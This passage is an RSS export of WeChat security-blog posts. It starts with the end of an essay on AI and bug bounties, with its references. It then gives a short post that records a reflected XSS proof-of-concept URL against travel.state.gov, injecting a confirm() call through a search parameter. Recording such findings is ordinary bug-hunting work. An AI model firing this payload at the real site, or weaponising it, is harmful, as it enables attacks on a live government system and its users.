20px;border-left: 3px solid rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"><p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;margin: 0px;color: black;line-height: 26px;"><span leaf="">谁想得更深。 谁验证得更准。 谁能发现别人和 AI 都发现不了的漏洞。</span></p></blockquote><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这才是 AI 时代下，漏洞猎人真正需要面对的变化。</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5493333333333333" data-s="300,640" data-type="png" data-w="750" data-imgfileid="100012574" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><span leaf="">往期回顾</span><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">参考资料</span></span></h2><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">SecurityWeek，《Will AI Kill the Bug Bounty Industry?》 <a href="https://www.securityweek.com/will-ai-kill-the-bug-bounty-industry/" target="_blank">https://www.securityweek.com/will-ai-kill-the-bug-bounty-industry/</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Aituglo，《The State of Bug Bounty in 2026》 <a href="https://aituglo.com/state-of-bug-bounty-in-2026/" target="_blank">https://aituglo.com/state-of-bug-bounty-in-2026/</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Intigriti，《A(I) future of Bug Bounty》 <a href="https://www.intigriti.com/blog/business-insights/ai-future-of-bug-bounty" target="_blank">https://www.intigriti.com/blog/business-insights/ai-future-of-bug-bounty</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">TechRadar，《The next evolution of the penetration test must include agentic AI》 <a href="https://www.techradar.com/pro/the-next-evolution-of-the-penetration-test-must-include-agentic-ai" target="_blank">https://www.techradar.com/pro/the-next-evolution-of-the-penetration-test-must-include-agentic-ai</a></span></p></li></ol><span style="font-size: 15px;display: block;text-align: center;margin-top: 50px;color: #999;border-bottom: 1px solid #eee;"><span leaf="">- END -</span></span></div><p data-style="margin-bottom: 32px; border-width: 0px; border-style: initial; border-color: initial; font-variant-numeric: inherit; font-variant-east-asian: inherit; font-variant-alternates: inherit; font-variant-position: inherit; font-stretch: inherit; line-height: inherit; font-family: Roboto, Arial, sans-serif; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; vertical-align: baseline; color: rgb(80, 89, 102); letter-spacing: normal; text-align: start; text-wrap: wrap; background-color: rgb(255, 255, 255);" class="js_darkmode__7" style="margin-bottom: 32px;outline: 0px;border-width: 0px;border-style: initial;border-color: initial;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-stretch: inherit;line-height: inherit;font-optical-sizing: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: baseline;letter-spacing: normal;text-align: left;visibility: visible;"><strong style="text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.578px;outline: 0px;"><span style="outline: 0px;font-size: 18px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;markdown2wechat编辑器&#34;,&#34;data-website&#34;:&#34;https://aizhuanqian.com&#34;,&#34;style&#34;:&#34;font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;style&#34;:&#34;padding-top: 8px;padding-bottom: 8px;margin: 0;color: black;box-sizing: border-box;margin-bottom: 16px;font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Segoe UI&#39;, Arial, freesans, sans-serif;font-size: 14px;text-align: start;white-space: normal;text-size-adjust: auto;line-height: 1.75em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-weight: bold;">感谢阅读，如果觉得还不错的话，动动手指给个三连吧～</span></span></span></strong></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=753c8b13&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499564%26idx%3D1%26sn%3Dc93da6721292878bb3562a47bc5ad788">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 16 Jun 2026 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>一个有意思的xss</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499560&amp;idx=1&amp;sn=edf0b4a18fa8ae3905c4db800d06f795</link>
      <description>正文payload:https://travel.state.gov/content/travel/en/se</description>
      <content:encoded><![CDATA[<p>原创 <span>whoami</span> <span>2026-06-15 10:00</span> <span style="display: inline-block;">四川</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ac2a4e55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7xtecWUgCRwa2QsADk95sC9E2AwBGKj6zF4OUGAr9abiagIicBZ3Xhhsj9ib7f1ibxTAuTVMaY8dIZMcs9fMm2kkiaxosBVCBX5xF7brPgibsTLXg%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h2 data-cacheurl="" data-pm-slice="0 0 []" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset;text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=9a515cef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7xtecWUgCRywjnNxX9hBf4Yib4vsNSzfqT9EBdNv2QkQR4FFNibclF9kiacDMIo819oic1gBVvrAkAU7W9sapPUGQGEM4Uvd1J5nePKwhibz7Ngk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style="box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">正文</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">payload:</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf=""><a href="https://travel.state.gov/content/travel/en/search.html/?search_input=hello&amp;data-sia=" target="_blank">https://travel.state.gov/content/travel/en/search.html/?search_input=hello&amp;data-sia=</a></span><span style="box-sizing: border-box;color: rgb(86, 182, 194);cursor: pointer;line-height: 26px;"><span leaf="">false</span></span><span leaf="">&amp;data-con=</span><span style="box-sizing: border-box;color: rgb(86, 182, 194);cursor: pointer;line-height: 26px;"><span leaf="">false</span></span><span leaf="">&amp;search_btn=&amp;segFilter=x%27%29%3bconfirm%28%271</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">主要是注意它的payload:</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">x</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#39;);confirm(&#39;</span></span><span leaf="">1</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这里做个记录</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p style="text-align: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5493333333333333" data-s="300,640" data-type="png" data-w="750" data-imgfileid="100012574" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="box-sizing: border-box;text-align: center;display: inline-block;height: 38px;line-height: 42px;color: rgb(72, 179, 120);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 63px;margin-top: 38px;font-size: 18px;margin-bottom: 10px;"><span leaf="">往期回顾</span></span></p><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><h2 data-cacheurl="" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset;text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=ce183e58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7xtecWUgCRxtRByQlA1AXVGEN52IMEObnSjiaT59HsqKIaibKANxDNUAl8IAiaw4KQXJDDD6q79rIxpaPx8sDAeSb2HRAx9tpTtkpAYgmiacuTo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style="box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">参考</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, 